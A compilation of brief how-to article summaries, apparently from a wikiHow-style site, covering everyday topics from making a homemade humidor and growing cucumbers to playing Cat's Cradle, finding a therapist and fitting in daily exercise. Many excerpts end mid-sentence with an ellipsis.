Find a suitable container. Humidify the container. Store the container in a cool, dark place.

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Homemade humidors can be made from plastic bins, old ammo cases, or cigar boxes. While these options may not keep cigars fresh as long as a humidor, they can do the trick for an mid-to-extended amount of time. If you are planning on storing the cigar for more than a week but don't want to buy a humidor, it's a good idea to make one.  After you've selected your container, wash it thoroughly with antibacterial soap and warm water. Let dry completely. The container should be big enough to hold cigars while they're all laying flat. Make sure the container closes completely, with some air circulation. This will keep the flavor from your cigars from mixing or losing their flavor. If the container is air-tight, make sure to expose your cigars to fresh air every two weeks, at least. Just as you would with a store-bought humidor, you need to find some way to keep the air in your homemade version around 70% humidity. Add a jar of Xicar humidifier beads/gel to the container, soaked in distilled water, then drained.  At the very least, a small, very-slightly dampened household sponge in the bottom of the container in the corner of the storage container will work in a pinch. This will ensure that moisture will be available inside the container once its shut. Securely close the lid on your container with the cigars inside. At a local cigar store, ask if they have any cedar dividers from cigar boxes lying around they wouldn't mind parting with. You can use these to either create cigar tubes to store individual cigars in, or to line the walls of your homemade humidor. This will help regulate the humidity. Monitor the temperature of the area you are storing them in and make sure it stays around 70 degrees Fahrenheit (21 degrees Celsius). Keep a thermometer close by to monitor the temperature, and smoke the cigars as soon as you get the chance. Check you cigars periodically to make sure they're not suffering from too much humidity, or becoming too dampened or wet. Look for any signs of mold, or beads of dampness in the...


Find a suitable container. Prepare the container. Add the caterpillar’s host plant. Avoid direct sunlight. Clean the habitat regularly.

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The first step to create a caterpillar habitat at home is to find a suitable container in which you can create a nice environment for your caterpillar. There are a wide variety of ways you can do this, including a well-ventilated glass tank, a plastic container, or even by using a couple of 1 litre plastic soda bottles.  The size of the container depends on the number of caterpillars that you will have living in the container. As a general rule, each caterpillar should have at least three times their body size in extra floor space. A container for 10 6cm long caterpillars should have be at least 25x25cm of floor space. Caterpillars don’t tend to move around that much, but every caterpillar should be able to feed without coming into contact with the others. To make your container suitable for caterpillars you need to ensure that it’s well ventilated, has a little humidity, and that the caterpillars can’t crawl out of it. To keep it ventilated, punch lots of small holes in the lid of a plastic container. They should be big enough for air to pass through, but small enough that the caterpillar can’t escape.  To make the habitat a little more humid, you can place a moistened paper towel inside the container.  Don’t add any open water into the container, as a caterpillar can easily fall in and drown. Caterpillars don’t have complex needs, but you do need to make sure they have a constant supply of their host plant for feeding. The host plant is the plant that the caterpillar eats, and tastes can vary significantly across breeds. If you take a caterpillar you found in the wild, look at what plant he is on, and bring that too.  Some common host plants include Aster, Hollyhock, Sunflower, Snapdragon, and Violet.  If you know the details about your caterpillar, you can search for host plants via the website of London’s Natural History Museum. Caterpillars will typically get most of their moisture from these plants, but you can wash the leaves with clean water to leave some extra moisture for them. You can add...


Find a suitable journal. Make physical space for your dream journal. Write in the date for the next entry after finishing an entry. Arrange the journal appropriately for recording the dream.

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There are some pre-made dream journals out there but they are not necessary and in many ways, it's a lot more fun and creative to make your own. The types of things that are helpful to bear in mind when choosing a suitable journal include:  Length: Are you planning on recording your dreams for a year journal, or a shorter or longer amount of time? Think about how detailed you want your entries to be each night; this plus the length of time you aim to record your dreams for will indicate the length of the journal that you need. Ability to move the pages around: If you want to be able to sort pages into themes (for example, "Recurrent Dreams", "Dreams about dogs"), etc., then it might be helpful to use a looseleaf notebook that lets you reshuffle the pages easily. Use a quality binder to keep such a looseleaf journal intact.  Jottings: The ability to add in jottings that you've written down elsewhere can also be important. Make sure that the journal has space for adding in scraps of paper, etc. Don't forget to get a suitable marker. If you want to write in different colors for specific themes or recurrent interpretations, keep this in mind when purchasing the markers. Consider finding a tin, basket, or other storage item for your dream journal and markers. This allows you to keep all the things needed sitting neatly and ready for use at any time. Consider using a travel cover or protective case for your journal if you travel a lot and want to take your dream journal with you wherever you go. A dream journal is best written upon waking up, so the best place for keeping it is next to your bedside. The problem with rummaging for something to write on is that you're likely to forget your dream in the meantime, so make sure you can easily reach your dream journal!  If you have it in a container like a tin or a basket, it can be easily moved about and into a drawer or cupboard space when cleaning or to keep away from prying eyes. Another good idea is to keep a book reading light by your bedside. If you wake up in the...


Find a suitable location for your café. Work with a commercial real estate agent. Conduct research on your potential business location. Choose a name for your business.

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You will want a place that is likely to attract stable as well as casual customers. Locating near a school or college may attract younger customers, or if you locate near other food cafés or small shops you might be able to catch pedestrians in the area. It could also be advantageous to locate near large hotels where many business travelers stay. An agent experienced in commercial businesses will be able to show you properties that might meet your needs and are available for lease within your budget. You could also contact the commercial real estate development company that owns a specific property that interests you. A good alternative would be to take over an existing Internet café that has a loyal client base. A commercial real estate broker will know about these opportunities as well. Search public records of how the location was used previously and statistical data such as the average income in the area. Find out if there are competitors and similar ventures nearby.  When you find a potential location, observe the area for a few hours and analyze the foot traffic in the neighborhood. Is it near public transportation or highways? Is there enough parking?  You will want to also analyze the demographics of the area. Does the income level match the type of clientele you hope to attract? Your local librarian or commercial real estate broker can help provide this information. Once you find a location you will need to purchase insurance policies for general liability and fire insurance. Establish a unique identifier that resonates with customers and sets you apart from other businesses. Search databases such as Hoovers, the Better Business Bureau and the Web to find information about other business names so you don't choose one that is already taken. You can refer to Name Your Business for tips on how to choose a business name.


Find a suitable performance. Visit the brick-and-mortar location of local theatres. Choose a part to audition for. Do your homework. Select an audition piece. Audition boldly.

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Keep an eye on local theatres. These will post casting calls when planning for a new performance. Join acting related social media groups, like those on Facebook or Twitter, to network with fellow actors and hear about potential gigs. When choosing a performance to audition for, keep your personal style in mind. You may be a versatile actor, but oftentimes people are strong-suited for certain roles, like comedic or dramatic ones. Drop off your headshot. Talk to staff and let them know you're interested in getting involved. Getting your foot in the door can help you network and land a future part. Even if you aren't cast in a performance, ask if you can work as a stage hand or backstage. This will expose you to active talent, directors, and producers. All of your audition choices should prove that you're the right person to play this part. Sometimes, you may be asked to list two or three parts you're interested in. Your main part should be the focus, but have some backups on hand, just in case. In some cases, a director may love your ability, but think you're the wrong choice for the part you've selected. By having backups, you'll show that you're really interested in being a part of the performance and not just a single part. What kind of performance are you auditioning for? If it's dramatic, you'll want to showcase your dramatic acting skills. What time period and environment does the performance take place in? This might influence how you act, speak, and treat others onstage.  Some plays, like My Fair Lady, are set in a location that requires an accent. In the case of My Fair Lady, which takes place in London, you'd want to show off your British accent. Watch famous, popular, or iconic recordings of the performance for which you're auditioning. These can help you identify features you'll want to demonstrate in your audition. The tone of your audition piece should suit the part you're auditioning for. Try to match your audition piece with the local color of the part you're trying out for. Local color...


Find a suitable piece of string. Get another person to help you play. Hand off the string after every turn. Restart the game if you make a mistake.

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Any type of cord will work as long as it fits around your hands. However, you’ll have the easiest time using a piece that’s around 40 inches (about 120cm) in length. This will ensure that the string is long enough to give your hands plenty of room to maneuver without getting in the way or becoming unwieldy. Tie the string together at the ends so that it creates a circular loop.  Try cutting a piece of string, yarn or twine to just the right length to fit you and your partner’s hands. If you can’t find anything else to play with, use a tied shoestring. Because of the sequential nature of the game, it’s not possible to play Cat’s Cradle with only one person. You’ll need a partner both to help you form new shapes and to take the string from you at the next turn.  You can theoretically play Cat’s Cradle with as many people as you want—simply go in a circle or choose a specific order to transfer the string from person to person. The game will go more smoothly if you’re playing with someone whose hands are roughly the same size as your own. Decide which player will get the game started. This person will twist the string into Cat’s Cradle, the game’s opening formation. After this shape has been made, transfer the string to the other player’s fingers fingers without breaking the formation. The game will proceed in this fashion until you miss a shape.  Let go of the string carefully to keep it from coming unraveled. Both players should practice making each of the various shapes so they’ll know exactly where to place their fingers when you pass the string. The game is over when you pull the string in the wrong place or end up forming a shape from which no other shapes can be made. If this happens, start back from the beginning with Cat’s Cradle. Keep playing until you can run through the entire sequence flawlessly.  Practice slowly the first few times until you get the hang of making shapes and handoffs. For an added challenge, increase your speed each time you successfully complete a cycle.


Find a suitable place to aqua jog. Purchase a buoyant life vest or water belt. Jog from one end of the pool to the other. Alternate speed. Move your feet in a bicycling motion.

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Deep-water running, often called aqua jogging, requires deeper water than simple shallow water walking. Many pools will set aside a lane at a particular time for this activity. Water jogging mimics jogging on land, but the water belt or buoyancy vest keeps your chest above the water's surface. Find a suitable buoyancy jacket or vest. The pool might supply buoyancy vests, but you should also be able to find them at any sporting goods store. You may also want to consider a water belt that you can cinch at your waist as you move into deeper water. This accessory will help you perform the water walking/jogging motions when you are in the deeper end of the pool. Wearing the buoyancy vest, perform a free running action up and down the marked lane of the pool. The vest will keep you afloat and will prevent you from touching the bottom of the pool. This builds up strength through resistance. Try alternating jogging at slow speeds, higher speeds, and doing high knees for a few minutes each. Adding variety to your water exercise routine will help strengthen your muscles even more. Although you will not go very far or very fast, you can burn about 100 more calories every half hour by water jogging than you would jogging on land. You can alternate your water jogging routine by kicking your feet in a bicycle motion, especially when you are in deeper water and can’t touch the ground because of your buoyancy vest. Keep your feet flat and move them in a circular motion, as if you were pedaling a bicycle. You can also stay still and move your feet up and down as quickly as possible, as if you were running in place.


Find a suitable playing field. Divide into two teams. Play with the correct kind of disc. Learn how play is advanced. Find a league in your area to learn more.

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To play ultimate Frisbee, you’ll need a bit of room to spread out. Traditionally played on soccer or football fields, ultimate Frisbee can be played in any open field that’s at least 70 yards by 40 yards, with marked-off end zones at each end, where points are scored. In regulation Ultimate Frisbee, the end zones are 20 yards deep. Work with the space you have. If you’re playing in a backyard, don’t worry about measuring it off. Just set up two end zones at each end of the yard to give each team a territory, then start playing. Ultimate Frisbee is a team sport that will require at least a handful of players on each side to play. Split up your group of friends into two evenly-divided teams.  The absolute minimum of players would be four–two per team–but that would be a challenging game. It’s usually best with between five and seven players, per side. Regulation Ultimate Frisbee teams have seven players on each side, though the roster can include as many players as you want. Players may be substituted any time after a point is scored. You can play Ultimate Frisbee with any kind of Frisbee, though it’s typically easier and more recommended to play with a slightly heavier version of the classic recreational disc. This makes controlling your passes and your distance a lot easier than with a basic beach Frisbee. 175 gram Frisbees are recommended for playing Ultimate Frisbee, which are widely available at sporting goods stores. The Discraft Ultra-Star 175 is the official playing disc for the USA Ultimate Championship Series. As in soccer, American football, lacrosse, or other goal-based sports, each team has one end zone that they’re defending and will attempt to score in their opponent’s end zone. The object of the game is to move the Frisbee down the field by completing passes to your teammates.  The player in possession of the Frisbee may not move and must not hold the Frisbee for longer than 10 seconds. The rest of the players will move around the field and attempt to get open for a pass. If a pass is dropped,...


Find a suitable replacement icon on the Internet. Open the info panel on the folder you want to change. Copy the image you want.

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One great way to customize your desktop is to replace the folder icons with your own images. This can allow you to quickly and easily identify your most-used folders and access them efficiently. To get started, search for possible replacement icons. Any .jpeg or other picture files should work fine, and you can usually drag them from the web after clicking on them, and drop them directly into the info on the folder. Try to look for pictures that have blurred outside edges to keep your desktop looking clean. Click on the folder, and at the top of Finder, select file, and then Get Info. You can also right-click on the folder to access the options. Open the image you want to use in Preview. Press Cmd+a to select it and Cmd+c to copy the image. Back in the info panel, click on the icon in the top left corner and press Cmd+v to paste your customized icon image. When you do this, it should appear instantly. You can use eye-catching images for your most essential folders. Have fun with it!


Find a suitable shirt. Lose the stiff collar. Embellish a little.

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If you'd rather wear a shirt than a t-shirt, that's fine too, especially if you're trying to be a pirate captain.  A big, billowy white shirt is ideal. Try to locate one which has flowing sleeves rather than tight ones. For women, choose a man's shirt as it will be bigger and more likely to billow. For men, avoid anything that's too tight or too short. Pirates don't wear stiff business collars. Away with it (give it the plank!) by snipping it off and restoring a ruffle or similar soft collar instead. If you hate sewing, you can probably get away with using fabric glue to attach a ruffle but ensure that the area that has been cut won't fray. If possible, just try tucking in your ruffle to your neckline. The volume of the ruffle will cover up any self-improvements you've made to your shirt. Since you're wearing a decent shirt, it's more about upgrading than turning it to tatters. Consider some of the following embellishments:  Fancy buttons for both the middle and cuffs A golden or silver chain toggle for the collar area Ruffles! Ay, matey. Ruffles can be added almost anywhere on the shirt ––around the cuffs, around the collar, down the button line, etc.


Find a suitable tub. Fill the tub with cool water. Float several apples in the water. Select the order of players. Catch an apple with your teeth. Keep your hands behind your back while bobbing. Keep track of how long it takes each player to get their apple. Select the winner. Clean up.

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You can use a bucket, a cooler, a basin, or a bin, as long as it is big enough to hold water and apples. Wash the tub first, then place it on a table or cart that is strong enough to hold it when it is full of water. The top should be about waist-high to participants in the game. You could also place the tub on the ground and have participants kneel to bob for apples. You don’t want the water to be too cold or too hot because people will be sticking their heads in it. Fill the tub about 3/4 full. Take care not to overfill so that water won't be sloshing and splashing out—much. If you're playing inside, place towels underneath the tub and around the base so that the floor won't get wet. Put as many as will fit in your tub, but not so many that the apples don't move: you want it to be a bit of a challenge. You can choose to put apples in for all the participants or refill the tub as you go along.  Another idea is to have the same number of apples (e.g., 5 apples) in the tub for each player’s turn. Choose smaller varieties of apples for children so it will be easier for them to sink their teeth into the apple. Plan on 1-2 apples per player, as some might get bites taken out of them but not removed from the tub with a player’s teeth. You could do this by age, such as allowing the youngest person to go first, or alphabetically, or choose a random order. Alternatively, if you have a big enough tub, everyone can start at the same time and the first person to catch an apple in their teeth is the winner. Each player must try to grab an apple with only their teeth -- you can’t use your hands! Sink your teeth into the flesh, or try to catch the stem in your teeth. You must get the apple out of the tub using only your teeth, so if you drop it and it falls back into the tub you’ll have to try again. A trick is to hold your breath and push the apple all the way down to the bottom of the tub before attempting to bite it. The side can work too, but it is trickier! You are not allowed to use your hands for bobbing, so each...


Find a sunny location to plant your cucumbers. Remove weeds from the area. Bring the soil's pH level as close to 7.0 as possible. Spread granular fertilizer into the soil. Add organic material to improve soil quality.

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Cucumbers are a tropical vegetable, and they crave a lot of direct sunlight. choose a spot where they won't be too shaded from the afternoon sun.  Cucumbers grow roots 36 to 48 inches (91 to 122 cm) deep, so don't plant them near trees. Tree roots will compete with your cucumber plants for water and nutrition.  The size of your space will dictate how many plants you can have. You'll want to space vining plants 36 to 60 inches (91 to 152 cm) apart. If you're growing them vertically, allow 12 inches (30 cm) between trellises. Cucumbers should be grown in a weed-free area. Weeds will drain nutrients and water from the soil, starving your cucumbers. Small weed cuttings can be left in the soil for fertilizer.  For best results, pull the weeds up by hand, yanking up as much of the root as possible. If you leave the root of a weed behind, there is a strong likelihood that the same weed will grow back. Avoid using herbicides as a shortcut. Both chemical and organic herbicides render the soil unsuitable for overall plant growth, so they'll hurt your cucumbers as well. Cucumbers thrive in soil with a neutral to slightly alkaline pH. You can buy a pH testing kit at any garden supply center or hardware store. Add agricultural lime to increase the pH of your soil. Add sulfur or aluminum sulfate to decrease the pH. If you're using inorganic fertilizer, the slow-release granular fertilizer will best feed your cucumbers throughout the growth cycle. Use a trowel of a small rake to chop up and loosen the soil before adding fertilizer. This allows the fertilizer to mix into the soil more thoroughly. For natural fertilizer, use rich compost or aged manures. Mix them into the soil to a depth of about 2 inches (5.1 cm), then gradually cut and work them into the soil to a depth of 6 to 8 inches (15 to 20 cm). The ideal soil for cucumbers is loose, light, and sandy. This type of soil gets warmer more quickly and retains that warmth more easily. If you have more clay in your soil, add organic material. Dense, heavy soil can be...


Find a sunny planting space. Look for an area with well-draining soil. Dig a 2 in (5 cm) hole for each corm you want to plant. Locate the bottom of the corm and place it the hole. Fill the hole around the corm with soil. Water the Liatris every few days.

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Look for a place in your yard that gets full sun. Liatris thrives if it gets full sun throughout the day so ensure it gets 6 to 10 hours of sunlight every day. Liatris can handle direct sun or lots of indirect sunlight. Pay attention to where water pools or puddles after a rain shower. Avoid planting the Liatris in water-logged soil because the roots of the plant will rot. Instead, choose an area of your yard that dries quickly after rain. Liatris is a very hardy plant that grows in a variety of soils. In fact, it may grow better in soil that hasn't been amended. Use a trowel or shovel to dig the shallow holes. If you're planting more than 1 Liatris, leave 12 to 15 in (30 to 38 cm) of space between each corm. If you plan on mulching over the area, dig 1 in (2.5 cm) holes instead of 2 in (5 cm) holes. Look for the side of the corm with the stringy roots coming out. This is the bottom of the corm and you should place it down into the hole so the top is facing you. If you accidently put the corm bottom-side up, the Liatris will not grow. Take standard garden soil and spread it over the corm in the hole. Completely fill the hole with soil and press down firmly. This will remove any trapped pockets of air in the soil.  You can plant the Liatris in spring, summer, or fall. If you'd like to mulch the area, cover the soil with about 1 in (2.5 cm) of mulch. Fill a watering can or use a garden hose to saturate the soil. Let the soil dry out for a day and water it again. Continue to water the Liatris regularly as the roots establish. Once the Liatris has grown for a season, you don't need to water it as much. Liatris actually grows well in drought conditions, so avoid overwatering.


Find a sunny spot that drains well. Dig a hole as deep as but wider than the tree’s root ball. Mix some compost into the soil.

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A crabapple tree requires at least six hours of direct sunlight a day, so choose a location for it that doesn’t have much shade. Next, make sure that area has well-drained soil to keep the tree’s roots healthy. Check to see if your soil drains well by digging a hole that's between 12- to 18-inches (30- to 46-cm) deep and wide. Fill the hole with water, and observe how long it takes to drain. If it drains in 10 minutes or less, the soil drains well. If the water drains in an hour or longer, the soil doesn't drain well. Examine the tree’s root ball before you plant it. Use a shovel to create a hole in your chosen location that’s as deep as the root ball but two to three times as wide.  When you set the tree in the hole, the top of the root crown should be level with or just slightly above the soil. If you are planting more than one crabapple tree, space them at least 10- to 20-feet (3- to 6-meters) apart. If the soil in your chosen area isn’t in very good condition, it’s a good idea to add some type of amendment to it. Add a small amount of compost to the soil that you’ve removed from the hole to create a healthy mixture for surrounding the tree. If the soil that you’re planting in is in good condition, there’s no need to add compost.


Find a sunny, dry spot. Sketch out a rough plan for your garden.

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Your bulbs will need plenty of sunlight to bloom, although some, like tulips, should be protected from the full heat of the sun around noon. Check your seed package for any other sunlight conditions your bulbs might have.  If your bulbs need to be protected from the sun during the hottest part of the day, buy a garden shade structure to hang over your garden. You can also make your own garden shade by stringing a light-colored sheet up over your garden.  Your bulbs will start blooming before new tree leaves grow in spring, so shady areas under trees can work just fine. Avoid areas shaded by your house or another building. Do you want to place particular colors by each other, like in a rainbow or flag pattern? Do you want a spray of tulips by your mailbox, or a curving row of daffodils along a stone walkway? Use a pencil and paper to design a pattern before you start laying down your bulbs.


Find a support group. Keep a journal. Ease your anxiety. Maintain a positive attitude.

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Many people find it helpful to talk to others in the same situation. Cancer support groups can be a wonderful resource. Consider joining one in your area.  Ask your doctor for a recommendation. Many hospitals and treatment centers will have several groups to choose from. Try joining a group for people with your specific type of cancer. For example, if you are dealing with breast cancer, you might find it comforting to be around other women dealing with breast cancer. There are also online support groups. Your doctor or nurse might be able to guide you towards a good fit for you. Lean on friends and family. If you don't want to join a formal support group, let the people close to you know that you will need their support.  There are also support groups for people whose loved one has cancer. That might be helpful for some of your family members. Dealing with cancer is a very emotional experience. You might feel overwhelmed by the wide range of feelings you are experiencing. Try tracking your thoughts in a journal.  Writing down your thoughts can be very therapeutic. Don't worry about what you're writing--just get your feelings out honestly. Keeping a journal can also help you track patterns. For example, maybe you see that you are feeling most anxious the night before a chemo treatment. Finding patterns can help you figure out what is most bothering you. Then you can actively seek solutions. It is normal to feel very nervous when you are dealing with cancer. There are a lot of unknowns and a lot of changes. Try to look for ways to reduce your tension.  Mediation can be very helpful. Download an app on your phone that will allow you to listen to guided meditations. If you are physically capable, try doing some light yoga. It can help ease anxiety. Talk about your feelings. If your anxiety is causing problems such as insomnia, you might consider seeing a counselor. There is actually some research that shows that the power of positive thinking can actually help you deal with cancer. That does not mean that you...


Find a support system. Get some rest. Visit a counselor. Manage your stress.

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Finding out that you are pregnant can be a very emotional experience. Whether you are planning to become a mom or explore other options, you will be going through some significant changes. It's important to surround yourself with people who can support you.  In addition to your boyfriend, choose some other people to tell about your pregnancy. Maybe you trust your mom to help you figure out your next steps. It is up to you to decide who you tell about your pregnancy and when. Don't feel that you have to share the news before you are ready. Your doctor can be part of your support system. She can give you a lot of information and help you make healthy choices. You can also join online support groups. There are many pregnancy support groups available. Your body is going through a lot of changes. Make sure to stay healthy by getting enough rest. When you are tired, it can also be more difficult to think and communicate clearly.  Allow your body to get the sleep it needs. If you find yourself needing a nap in the late afternoon, that's ok. Go to bed earlier if you need to. Your body needs more sleep when you are pregnant. It is normal to feel some anxiety when you learn that you are pregnant. You might find it helpful to talk to someone about your feelings. Consider visiting a mental health specialist.  Your local Planned Parenthood clinic can provide you with a counselor. With this person you can be open and honest. If you want your boyfriend to be involved in this part of the process, invite him to go to sessions with you. The two of you might learn some great communication skills. Whether or not you have planned for this pregnancy, you will probably be somewhat nervous. For your own mental and physical health, it is important to not let that stress get out of control. It is also important for the health of your baby.  Keep a journal. Writing your thoughts down on paper is an excellent way to keep track of your feelings.  A journal can help you track patterns in your emotions. It can also help you figure out...


Find a t-shirt. Squeeze any extra moisture out of your hair and apply hair products. Spread a t-shirt out on a chair or table. Lean over the shirt and plop your hair down onto the fabric. Flip the bottom hem of the shirt onto the back of your head. Pull the front part of the shirt against your forehead. Wrap the arms of the shirt around your head and tie them in a knot. Wait for your hair to dry.

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If you can, try to get one with long sleeves. Any t-shirt will do, but if you have thick or long hair, you may want to get a larger t-shirt. T-shirts are made out of softer material than towels. Because they are so smooth, they snag on your hair less. This will help minimize rips, tears, and frizz. The best time to add hair products to curly, kinky, or textured hair types is when the hair is still wet. If your hair is tangled, you can gently comb it at this point. Use a wide-tooth comb, and work in small sections, starting from the ends first. Never use a brush. The arms and neck hole should be facing you, and the bottom hem should be facing away from you. Try to get your hair as centered as possible. Your hair should be right between the shirt and the top of your head. You want your head very close to the shirt and your plopped hair, but not actually touching it. Pinch the hem between your fingers, and lift it off the table or chair. Bring it over towards your neck, and let go. The hem should be covering the entire back and nape of your head. Take the shirt by the shoulders and pull it up and against your forehead. Slide your hands along the sleeves, and hold them tightly. Pull the arms towards the back of your head. They should cross right over the shirt hem. Tie them in a tight knot. If the sleeves are long enough, you can wrap them back around your head, and tie them in a knot right above your forehead.  The sleeves of the shirt will hold your shirt-turban in place. If the sleeves are too short, try securing them with a bobby pin or a safety pin. It will take a while for your hair to dry, depending on how thick or long your hair is. Some people like to plop-dry their hair before blow-drying it the rest of the way. You can also let it dry overnight.


Find a tall, narrow, empty container. Add flair to your container. Cover your container in twigs or similar materials.

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Anything that’s a little shorter than a pencil and not too wide should work. As long as it’s clean and sturdy, just about any material can be repurposed as a pencil holder. Take a look around for an empty, unused container such as a:  Coffee can Mason jar Tin can Large yogurt cup Pasta jar Raisin canister The sky’s the limit when it comes to decorating your container. Gather glue, paint, glitter, colorful paper, and any other supplies you have lying around and let your imagination go wild. Try things like:  Painting the outside of  your mason jar, coffee can, or other container. Wrapping the container with washi tape or even decorative duct tape. Brushing Mod Podge on the outside of the container, then wrapping it in decorative paper, ribbon, or yarn. If you want to give your pencil holder an entirely new look, you can cover it in a material that will completely cover the container. Look items that are slightly taller than your container. Apply hot glue to the outside of your container, then set them in place vertically around it. Good choices include:  Twigs Pencils Popsicle sticks


Find a theme online that you want to install. Look for the OTA (Over the Air) link. Activate the theme.

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There are a large number of BlackBerry customization sites that offer lots of themes that you can download directly to your phone. Browse these sites until you find the theme you want. This link will point directly to the .jad file that will install the theme. Copy the URL into your BlackBerry’s internet browser, and then download the file when prompted. Once you have finished downloading the theme, it will be installed automatically. You will then need to activate it using the Theme Manager on your BlackBerry.  For BlackBerry OS 6 and 7, select Options. In the Options menu, click Display and then select Screen Display. Navigate to the Theme section and highlight the theme that you want to use. Press the Menu key and click Activate.  For BlackBerry OS 5 and earlier, select Options and then Theme. Highlight the theme you want, press the Menu button, and click Activate.


Find a therapist who can help you. Examine your partner’s reasons for cheating. Consider your partner’s professional and personal environment. Identify any part you may have played.

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Seeking the help of a qualified therapist is essential to recover from emotional infidelity. Look for a therapist who has experience with couples counseling. You and your partner may need to see the therapist together and individually in order to work through all of your emotions and relationship issues. Make sure that you find a therapist who has experience working with couples who are recovering from emotional infidelity. While you may be tempted to condemn your partner’s actions and refuse to see his or her side, this will make it harder for you to forgive. Instead, you will have to spend some time thinking about why your partner cheated. If you do not know why your partner cheated, then you will need to ask.  People cheat for a variety of reasons. For example, some people cheat because they are looking for a distraction from something unpleasant, such as the death of a loved one or financial troubles. Other may cheat because they come from a background where infidelity is accepted or even encouraged.  Ask your partner to consider the motivation behind the emotional affair. What happened that may have motivated your partner to develop emotional intimacy with someone else? Why did it continue? Some people are more likely to cheat because they are surrounded by temptations at work, with friends, and in other situations. Consider your partner’s work environment, social life, and other interests. How might these settings have contributed to the affair?  For example, perhaps your partner works in a night club with lots of attractive young people. The combination of working late nights, having plenty of alcohol on hand, and being surrounded by attractive people might have contributed to the affair. If you think that your partner’s work or social environment played a role in his or her affair, then you will have to discuss the possibility of a career change or making other changes to prevent another affair. Although you may see yourself as blameless (and you may be) in your partner’s cheating, it is possible that...


Find a therapist who specializes in or has experience with LGBT issues and possesses an affirming and sympathetic attitude. Consult internet resources to locate an LGBT-affirming therapist. Look for a distance therapy option. Research alternative ways to get your therapy.

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Make sure to specifically seek out therapists that list themselves as "LGBT-affirming." After all, you want  a therapist who will affirm your LGBT identity and help you reach a better place mentally while being who you are.  Consider referrals from friends in your community. Look at the Yellow Pages. See if there is a LGBT community center or support groups that might point you in the right direction. There are many places on the internet to find a list of mental health professionals that can help you, including professional association websites, forums, support group websites and more. Consider the following:  Search for mental health professionals at https://therapists.psychologytoday.com/rms  Use the Gay and Lesbian Medical Association’s Provider Directory athttp://www.glma.org/ to look through a list of inclusive medical providers. Check out the Healthcare Equality Index at http://www.hrc.org/campaigns/healthcare-equality-index to find the LGBT inclusive policies of organization leaders in healthcare. If you are transgender, consider the following resource at http://www.drbecky.com/therapists.html. LGBT sympathetic therapists are not available everywhere. However, distance therapy is a possible way to get the therapy you desire. Some therapists offer different forms of distance therapy in an effort to reach a wider range of people in various locations and across distances. Phone therapy and online therapy are effective means to engage a LGBT-affirming therapist from outside of your community. Don’t limit yourself to just “therapists.” There are a wide range of mental health, and social welfare professionals who might be able to provide the guidance and support you need. Consider the following:  Licensed Clinical Social Workers: These social workers have clinical experience. You'll often find them working in group settings. Licensed Addiction Counselors: Addiction counselors are not therapists, but work in a similar capacity. Licensed Marriage and Family Therapists: These therapists specialize in family...


Find a therapist. Learn relaxation techniques. Challenge your negative thoughts.

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If you are avoiding sexual contact and the thought of having sex causes you to feel excessive and unreasonable anxiety or panic, you should seek help from a professional therapist. This may be signs of a phobia rather than a normal fear response.  The physical symptoms of a phobia include: sweating, shaking, feeling lightheaded, and having difficulty breathing. A counselor can help you manage these symptoms and the condition. See a therapist if you have sexual abuse in your history, which may hinder your enjoyment of sexual activity. Talking with a counselor and processing those traumas will lead to a positive relationship with others. When everyone relaxes, everyone benefits. Approaching an intimate situation with a sense of calm will stave off fear, and enhance your enjoyment.  Relaxation techniques include guided imagery, biofeedback, and breathing exercises. These will help you lower the stress and fear you feel. Use these techniques prior to interacting with someone. Guided imagery involves focusing on calming images and can be done by yourself or with help from a therapist. Biofeedback is a technique that trains you to lower your heart rate and blood pressure, which are associated with fear. Breathing exercises help to calm the nervous system associated with the fight-or-flight response, which is triggered when you feel fear.  If fear takes a hold of you when you are with someone in an intimate situation, pause and take a minute to breath and tap into the relaxation skills you have learned. Your thoughts affect your emotions. There is a tendency to overestimate the negative outcomes before you experience them, and underestimate your ability to cope with and manage a situation. These thoughts are imbalanced and need to be challenged.  For example, you are extremely nervous and afraid that you will throw up on your date when you are kissing. Challenge the thought by saying, “You cannot predict the future and you have never thrown up on anyone. If you feel nauseous excuse yourself and go to the bathroom....


Find a therapist. Learn relaxation techniques. Discover the underlying causes. Recognize your emotional triggers. Set therapeutic goals. Change your beliefs about worrying.

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If you are avoiding social contact or feel excessive and unreasonable amounts of anxiety or panic, consider seeking help from a professional therapist. There are times when a normal fear grows into a phobia and must be addressed. Consider selecting a therapist who practices treatment methods such as:  Systematic desensitization: A form of classical conditioning that removes a fear response and replaces it with a relaxation response.  Hypnotherapy: A form of communicating during hypnosis that facilitates a person’s imagination to alter thought patterns, feelings and sensations.  Neuro linguistic programming (NLP): An approach that explores the interplay between your mind, language and how it affects your body and your behavior.  Cognitive behavioral therapy: An approach that allows you to examine your thoughts and behaviors to determine ways to balance inaccuracies. It has been shown to be effective with managing anxiety and depression related to phobias. Relaxation helps lower your stress and fear. If fear takes a hold of you prior to or when you are in a private, work or social situation, pause and take a minute to breathe and tap into the relaxation skills you have learned. Relaxation techniques include:  Guided imagery: This involves focusing on calming images and can be done by yourself or with help from a therapist. Biofeedback: A technique that trains you to lower your heart rate and blood pressure, which are associated with fear. Breathing exercises: These help to calm the nervous system associated with the fight-or-flight response, which is triggered when you feel fear. Real change does not occur without identifying the emotional underpinnings of your behavior. Are you struggling with anxiety, stress, or depression? Work with the counselor to peel back the layers of events and emotions that have gotten you into the struggle.  Your fear may be anchored to a trauma that you experienced as a child or as an adult. Talking with a counselor and processing the trauma will help to re-frame and manage your...


Find a time to exercise daily. Fight the urge to dismiss exercise. Choose the type of exercise that works best with your routine. Stay active throughout the day.

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For many people, the easiest time to work it in is in the morning. Some studies indicate a morning workout leads to more restful sleep.  Many people prefer to exercise in the morning because it helps them to wake up and be energized for the day.  It’s possible the exercise sets a body up for the rest of the day, exposing us to sunlight, and even aligning the circadian cycle for the day.  You can also exercise in the late afternoon or early evening. Although you may already feel exhausted during this part of the day, exercise at this time may energize you for a few minutes, free up some room for dinner, and use up your remaining energy stores.  Some studies even indicate afternoon exercise may be most beneficial for the circadian rhythm.  On top of that, the energy release could cause you to have deeper sleep. As a result of increased body temperature and other factors, some recommend building in a buffer between working out and sleeping.  Exercise before sleep, however, has been found in some studies to actually improve the quality of sleep. While many people have a variety of excuses for skipping exercise, failing to exercise may create the lethargy that ends up in a vicious cycle of insomnia and fatigue.  Try a few motivation techniques to ensure you get your necessary exercise.  Give yourself a visual cue to work out by keeping your workout gear in plain sight.  Seeing your running shoes every day could almost shame you to put them on for a run. Buy plenty of workout clothes.  Don’t let laundry day act as an excuse for skipping the gym. Associate your workouts with a cause.  There are plenty of ways to fundraise for charity for great causes that link up well to exercise.  Get pure donations or iteration-based donations for a charity you feel connected with and you’ll feel too guilty to become lackadaisical. When, where and how you exercise can affect your 